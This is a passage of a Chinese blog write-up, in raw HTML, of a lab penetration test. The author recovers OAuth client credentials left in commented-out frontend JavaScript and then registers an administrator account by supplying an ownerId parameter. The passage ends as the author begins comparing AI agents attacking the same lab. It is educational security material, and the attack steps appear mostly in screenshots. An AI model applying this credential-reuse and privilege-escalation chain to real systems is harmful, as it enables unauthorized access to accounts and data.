src="https://wechat2rss.xlab.app/img-proxy/?k=a2b4b1dd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F16lHuWzRRdvWXAgJy4kD7QJPUJ2Melj5pR9gVq8NPvRD1TfmpT4vSZIa9QrkIHNkPaLHlcV22vibvF09MD98Lp3mXXGicXiaP3PAfnmdyYyPdo%2F640%3Fwx_fmt%3Dpng"/></span></span><page></page></p><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">验证码功能测试</span></span></p><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">随后测试验证码登录功能，观察相关数据包。</span></span></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-ratio="0.3212312549329124" style="width:552.8099975585938px;height:177.39999389648438px;" data-w="1267" src="https://wechat2rss.xlab.app/img-proxy/?k=6b29829c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F16lHuWzRRdsjTG5LAhvMotTeztSPZcDFVZkAROP6P3mNA8sibAJtz5k0n73jxbWBRKXhyZibibQJYpJtM1iceib96FNhdyJhvrLm6FPDnaRb6WS4%2F640%3Fwx_fmt%3Dpng"/></span></span></p><h2 style=""><span style="font-family:黑体;mso-ascii-font-family:Arial;font-variant:normal;text-transform:none;"><span leaf=""><span textstyle="" style="font-size: 24px;">二、信息收集与配置泄露</span></span></span></h2><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">发现 OAuth 2.0 参数</span></span></p><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">在登录请求数据包中，注意到存在 grant_type 参数，结合系统注释信息，判断目标使用了 OAuth 2.0 认证框架。</span></span></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.49566587864460204" data-w="1269" style="width:553.6099853515625px;height:274.5400390625px;" src="https://wechat2rss.xlab.app/img-proxy/?k=4a8cec98&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F16lHuWzRRdsqXfSudstN6ENEXQDd0tZg98ObT8ibP5yZTuicMq2AzZ86SLEwq0MZH3ETmICiaQ3UEq4X4NerNiaWbryDs45ia6e5fdXhx173ks9Q%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">搜索客户端凭证</span></span></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf="">OAuth 2.0 的客户端凭证模式需要 client_id 和 client_secret。</span></span></p><p><span leaf=""> 首先在前端源代码中直接搜索，未发现相关凭证。</span></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4842271293375394" data-w="1268" style="width:553.2100219726562px;height:267.8699951171875px;" src="https://wechat2rss.xlab.app/img-proxy/?k=4671c00d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F16lHuWzRRdvDRAxIiariaJtsWDx1NffJtBcO1NkPZyg98OsTNwZFvKicTTIes2omlTATTHhPjo943r5icE5a5yxib8eE5szKS8hEff1GbYGXmhHg%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">随后使用浏览器开发者工具的“搜索”功能检索所有加载的 JS 文件，仍然未找到。</span></span></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-ratio="0.36829652996845424" style="width:553.4099731445312px;height:203.60000610351562px;" data-w="1268" src="https://wechat2rss.xlab.app/img-proxy/?k=371dcfdc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F16lHuWzRRduHE6XBCuMIqcS1kFI0oxZ6ExM3iatDgdTlict4W0XzAdYzjlKib971gofAtoAblaKXddA3fq6FY64TD9fkouyS06uzcgaC1wjXx4%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">最终遍历全部 JavaScript 文件，发现 api.js 中包含了大量接口定义。</span></span></p><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">在该文件所在目录的索引文件中，找到了一段被注释掉的 JavaScript 代码。</span></span></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.1941594317284925" data-w="1267" style="width:552.6799926757812px;height:107.52996826171875px;" src="https://wechat2rss.xlab.app/img-proxy/?k=29176180&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F16lHuWzRRdshEnH4fwgY9icVwZiapib0XypxWTGAYV14jic50k8GEfpP8EG9iaZnOEZmUEwa1c66eX3jfmD3Qc2grOs75N2XKULP5Gy5ics9YFUlE%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">访问该被注释的 JS 文件后，成功获取到 OAuth 2.0 的配置信息（包括 client_id 和 client_secret）</span></span><page></page></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.24113475177304963" data-w="1269" style="width:553.739990234375px;height:133.5399932861328px;" src="https://wechat2rss.xlab.app/img-proxy/?k=eab35c02&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F16lHuWzRRdsXCpAZf1VnUwNc1eZc0UbJHoczqG0tXGSZ4pGOyTl5eibYBQkA8jxBahRic4PyJXdUTwTrHOYZU5pZEkxWBpMcANkjMTx49TniaU%2F640%3Fwx_fmt%3Dpng"/></span></span></p><h2 style=""><span style="font-family:黑体;mso-ascii-font-family:Arial;font-variant:normal;text-transform:none;"><span leaf=""><span textstyle="" style="font-size: 24px;">三、凭证有效性验证</span></span></span></h2><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">参考 loginController.js 中的请求参数，构造如下请求（使用已泄露的客户端凭证）：</span></span></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-ratio="0.36621941594317287" style="width:552.8099975585938px;height:202.469970703125px;" data-w="1267" src="https://wechat2rss.xlab.app/img-proxy/?k=15ef3a47&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F16lHuWzRRdvQVub3K0yFfjNZCfSTQicKZbicjBn2s5fjqUonm5ia3ibfJuyZfGYsvQHw2A6dianSkniaYj0U9IPwFhjeARtPwzljiba0FKljiblHwPE%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf="">client_credentials是 OAuth 2.0 框架下一种授权模式（Grant Type）的参数，称为客户端凭证模式。它的核心用途是为服务器与服务器之间的通信（即“机器对机器”，M2M）提供一个安全、无需用户参与的身份认证解决方案。</span></span></p><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">这一步是为了验证泄露的 oauth 信息是否有效。</span></span></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-ratio="0.3900709219858156" style="width:553.6099853515625px;height:215.94000244140625px;" data-w="1269" src="https://wechat2rss.xlab.app/img-proxy/?k=043deb1b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F16lHuWzRRdsuv033ac3pYPMmTUXwScgZdZiag4K6OGQUecUA6Q0bI1uDmUvYt8ibj4wlr1P2skEMHUAcib7rkGbLdAnVmoF1fTUcUCVrhJMVe0%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">此时可以获取到token，访问接口，请求头加入token</span></span><page></page></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4159431728492502" data-w="1267" style="width:552.8800048828125px;height:229.94000244140625px;" src="https://wechat2rss.xlab.app/img-proxy/?k=1a550230&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F16lHuWzRRdtnu2o0JChZo18icW9p9n4UtIUq46JkQYxSDgqjKgbGyxpdespn6kGlbYIWrWN0fh00IRIWDM7fiaWqT7kUuCfRvGteI2IdA72HQ%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">显示失败，没有权限。</span></span></p><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">如果不用这种模式，直接用password，则会返回失败</span></span></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-ratio="0.4187697160883281" style="width:553.2100219726562px;height:231.87002563476562px;" data-w="1268" src="https://wechat2rss.xlab.app/img-proxy/?k=a9d8549c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F16lHuWzRRdu8JlJCxk1KSRroJMdAeRtVZiaYkHgwNGl8790HXqcZWiaSKveMYbJakh3qKSXbicZvPuRk7Dic3I7ibRTybribKn8euW2LmkEHia7sgQ%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">因为password模式需要用户的参数，我们没有系统内的用户，所以这种模式就不能使用。</span></span></p><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">于是返回重新查看api.js 接口，我们发现是有一个注册接口，那么我们可能通过注册一个用户，然后给他授权password模式，就可以获取有权限的token了。21 行注册接口</span></span><page></page></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.36829652996845424" data-w="1268" style="width:553.4099731445312px;height:203.60000610351562px;" src="https://wechat2rss.xlab.app/img-proxy/?k=371dcfdc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F16lHuWzRRduHE6XBCuMIqcS1kFI0oxZ6ExM3iatDgdTlict4W0XzAdYzjlKib971gofAtoAblaKXddA3fq6FY64TD9fkouyS06uzcgaC1wjXx4%2F640%3Fwx_fmt%3Dpng"/></span></span></p><h2 style=""><span style="font-family:黑体;mso-ascii-font-family:Arial;font-variant:normal;text-transform:none;"><span leaf=""><span textstyle="" style="font-size: 24px;">四、注册用户并尝试提权</span></span></span></h2><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">靶场环境我做了参数提示，实际环境没有具体的提示，但在登录抓包能看到username和password参数了</span></span></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-ratio="0.42631993695823484" style="width:553.739990234375px;height:236.07003784179688px;" data-w="1269" src="https://wechat2rss.xlab.app/img-proxy/?k=115b35ee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F16lHuWzRRdtcJ8p6ibjFSiarLKYT9tpJLJqVF4ebicjtjr1t7n81KGy5SpsLZ9Rn8sibCWbUqZNU4VwQpOPTnLVt4PK188E1LOvLfUIxCQxeB3c%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5252365930599369" data-w="1268" style="width:553.47998046875px;height:290.60003662109375px;" src="https://wechat2rss.xlab.app/img-proxy/?k=8fd7de5d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F16lHuWzRRdsMoXNHJvGfvhkJthPaelYiaVznuOTSwia7x8Udiac0sf9B3O3XXZJiavHN7cHcicX2ZO7GLGPvw3yS1yQOYzJxziapb9laclVHnRk9M%2F640%3Fwx_fmt%3Dpng"/></span></span></p><page></page><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">直接注册是普通账号，可以看到右边 roleType=GUEST</span></span></p><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">使用oauth password模式对注册的账号授权权限</span></span></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-ratio="0.46256895193065406" style="width:553.6099853515625px;height:255.94000244140625px;" data-w="1269" src="https://wechat2rss.xlab.app/img-proxy/?k=a1c6106b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F16lHuWzRRdvVE6lqXWlkGBybFiaghjMSIibAqhyb50MKvpUSCP1aPLnCwLT1CQqG0OGvmrP9ytWTnYpILr5rlORJTsoQ8rlicAniaVZSIAgOSts%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">然后访问用户个人接口,id用注册成功返回的id，可以查看到信息, token用上面返回的</span></span></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4861878453038674" data-w="1267" style="width:552.9400024414062px;height:268.79998779296875px;" src="https://wechat2rss.xlab.app/img-proxy/?k=dc1f7a06&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F16lHuWzRRdvPRtq9zQQ1TkVZSPiabsic25DHPq2j8YBOicdDMicSjpQ5kWia2bYZibZzdibj8POcNN5icRgTNDHzT4J6YVtyB8NPNcbZLFNDazSmNFw%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">此时去访问所有用户的接口</span></span></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3930544593528019" data-w="1267" style="width:552.6799926757812px;height:217.13995361328125px;" src="https://wechat2rss.xlab.app/img-proxy/?k=8261df3a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F16lHuWzRRduO3EaVkxic8qVSoBy3I0FfnTgFP1oVk7Esm0ypPAJTCTAd6eD1pQ2Ricl0WI0ib6ricSjDvbQpibvFCnSQziaWthhQYS8wWggCOGVSI%2F640%3Fwx_fmt%3Dpng"/></span></span><page></page></p><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">显示权限低。说明注册的用户也分普通权限和管理员权限，此时回到前端js页面，寻找如何注册管理员用户</span></span></p><h2 style=""><span style="font-family:黑体;mso-ascii-font-family:Arial;font-variant:normal;text-transform:none;"><span leaf=""><span textstyle="" style="font-size: 24px;">五、寻找管理员角色注册方法</span></span></span></h2><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">代码在main.js里，划分了不同权限对应的id</span></span></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-ratio="0.8426073131955485" style="width:553.5399780273438px;height:466.4100036621094px;" data-w="1258" src="https://wechat2rss.xlab.app/img-proxy/?k=b31aa822&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F16lHuWzRRdvDqHib4996jCnALmA984yCwbibpibHcQRx9VhAoSMgVevzvYBcNnZ0fibBwib9WJKhA4Fic13U8wzWzBv6VCKd6kibeMGQqDfGQicH3e8%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3020979020979021" data-w="1430" style="width:553.4099731445312px;height:167.20001220703125px;" src="https://wechat2rss.xlab.app/img-proxy/?k=af1eed48&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F16lHuWzRRdvEdcItZ93F6AOPuerYjibht9Lep1CRIiaOJIdjiczCcNlH2IUgtE7iaSJnu7okmcSU1AicTb9ajSVhj3PxhgTKEVBstYlFGibQs1nFI%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">所有注册的时候需要传入ownerId</span></span><page></page></p><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">此时重新注册管理员账号</span></span></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5500394011032309" data-w="1269" style="width:553.739990234375px;height:304.6700134277344px;" src="https://wechat2rss.xlab.app/img-proxy/?k=74143113&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F16lHuWzRRdvspXqkJGuapcj60S3fl0WiaEZ5gpVW9DYesGYt7O6j89sfUEvy87CyjsIZnlDDUVVt5ULibLXWTDJEtic6JUxkT5hcXBxjJGG5V0%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">然后再重新赋予oauth权限</span></span></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.41009463722397477" data-w="1268" style="width:553.3400268554688px;height:227.0px;" src="https://wechat2rss.xlab.app/img-proxy/?k=dc4e5406&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F16lHuWzRRdtoKAO2QLV6HqSxb1eZgbp0XYicSaQBwsP9n7V4WADn8LWC1uhEMgkVIqVtwMrRM08rcRicucBbZhNgGibhwyQO7KHddibMkSFibicGQ%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">访问刚才403的接口</span></span><page></page></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5248618784530387" data-w="1267" style="width:553.010009765625px;height:290.0px;" src="https://wechat2rss.xlab.app/img-proxy/?k=1b686cb0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F16lHuWzRRdtUMt0NuvqbZdkibWN3booroiahhm6jA2zDB7MDEMaaEP6kLqWdf2kCaIscv6QgwNd8YBpfwEMuqdS5ZoxGOdzahiaibRYdDDEYHwo%2F640%3Fwx_fmt%3Dpng"/></span></span></p><h2 style=""><span style="font-family:黑体;mso-ascii-font-family:Arial;font-variant:normal;text-transform:none;"><span leaf=""><span textstyle="" style="font-size: 24px;">六、漏洞总结</span></span></span></h2><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">漏洞点：</span></span></p><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">前端 JS 文件中残留了被注释的 OAuth 客户端凭证（client_id 和 client_secret），可被直接获取。</span></span></p><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">注册接口允许通过指定 ownerId 参数创建高权限（管理员）账号。</span></span></p><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">系统依赖前端参数控制权限，后端未做严格校验。</span></span></p><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">利用路径：</span></span></p><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">泄露凭证 → 注册普通账号 → 获取低权限 Token → 发现权限不足 → 分析前端找到管理员 ownerId → 注册管理员账号 → 获取高权限 Token → 访问所有受限接口。</span></span></p><h2 style=""><span style="font-family:Arial;mso-ascii-font-family:Arial;mso-fareast-font-family:黑体;font-variant:normal;text-transform:none;"><span leaf=""><span textstyle="" style="font-size: 24px;">七、</span></span></span><span style="font-family:Arial;mso-ascii-font-family:Arial;mso-fareast-font-family:黑体;font-variant:normal;text-transform:none;"><span leaf=""><span textstyle="" style="font-size: 24px;">AI 自动化渗透效果对比</span></span></span></h2><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">近来AI发展迅猛，各种Skill和平台层出不穷。我周末体验了一些，总体感觉确实比较费token，但各有各的优势。还是那句话，AI肯定会越来越好，但我希望它始终是辅助我们工作的工具，帮我们拓展思路和新的攻击面，而不是在未来取代我们。</span></span><page></page></p><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">有点感性了，兄弟们，废话不多说，我也来搭建一下，针对上面这个漏洞，看看AI是如何攻击的。</span></span></p><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">采用三种方式，看看哪一种可以做到全流程覆盖</span></span></p><h3 style=""><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf=""><span textstyle="" style="font-size: 20px;">方案1：只使用ai agent 自主渗透</span></span></span></h3><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">这里我使用 </span><span leaf="">glm 5.1 模型</span></span></p><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">对这个靶场进行渗透测试，然后出具渗透报告 <a href="http://192.168.3.5:8090/" target="_blank">http://192.168.3.5:8090/</a> 不需要端口扫描，直接进行 web 测试</span></span></p><p style="margin-bottom: 24px;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">截图只包括关键部分，</span></span></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-ratio="0.6453744493392071" style="width:454.010009765625px;height:293.0px;" data-w="908" src="https://wechat2rss.xlab.app/img-proxy/?k=3878a43f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F16lHuWzRRduJtPVWhD0jf3ViaSRkmIzHbmOPNDYtibGvUacdNvYfclVUuT1hgoXlVV8JicHR13JbpqaVhTyELI1qZHvnUib0wW3CZqSuuw7F8Vw%2F640%3Fwx_fmt%3Dpng"/></span></span><page></page></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.2315035799522673" data-w="838" style="width:419.010009765625px;height:516.010009765625px;" src="https://wechat2rss.xlab.app/img-proxy/?k=5707939b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F16lHuWzRRdvcicKrVhfMicae2NAw35bwALGoU0OrbUjsFcGnax3icsvglCmykw0J1nwgGeudwTviaqdemOApxs3JoHtsLQVPEhqV2aNXmY0MNeA%2F640%3Fwx_fmt%3Dpng"/></span></span><page></page></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.1995515695067265" data-w="892" style="width:446.010009765625px;height:535.010009765625px;" src="https://wechat2rss.xlab.app/img-proxy/?k=c9cfee07&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F16lHuWzRRdvIgtRRr3a9M4RCn776WJttJBEFib1aFMBFpcVk5qicfAd7ra0YiaSibiccakFs8Rib4jV9LWdPh7wibYoFw9HQgxlbMoCAh706SNhqqc%2F640%3Fwx_fmt%3Dpng"/></span></span><page></page></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.090069284064665" data-w="866" style="width:433.010009765625px;height:472.010009765625px;" src="https://wechat2rss.xlab.app/img-proxy/?k=c3ea7880&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F16lHuWzRRdvs43UicGDp0DYsv8ONgpyjPewzVdvJqrtx2ud5xVG51qicAKdZYowiavnl5ogzT1paxW8cNED14jVIOo8aiaOhqoqOBLXfNQKHYkU%2F640%3Fwx_fmt%3Dpng"/></span></span><page></page></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-ratio="1.1074561403508771" style="width:456.010009765625px;height:505.010009765625px;" data-w="912" src="https://wechat2rss.xlab.app/img-proxy/?k=2a544725&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F16lHuWzRRdvNFFH6rveO9eyBInnE3a9mhhQYR3kF1icHqeUicibNsEZVtA5jwgsRWbsGZ4ChcYicO77bh4ibIdQX0MOOR6P8KrSFWNQm6SWa6rmU%2F640%3Fwx_fmt%3Dpng"/></span></span><page></page></p><p style="margin-bottom: 24px;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.2699530516431925" data-w="852" style="width:426.010009765625px;height:541.010009765625px;" 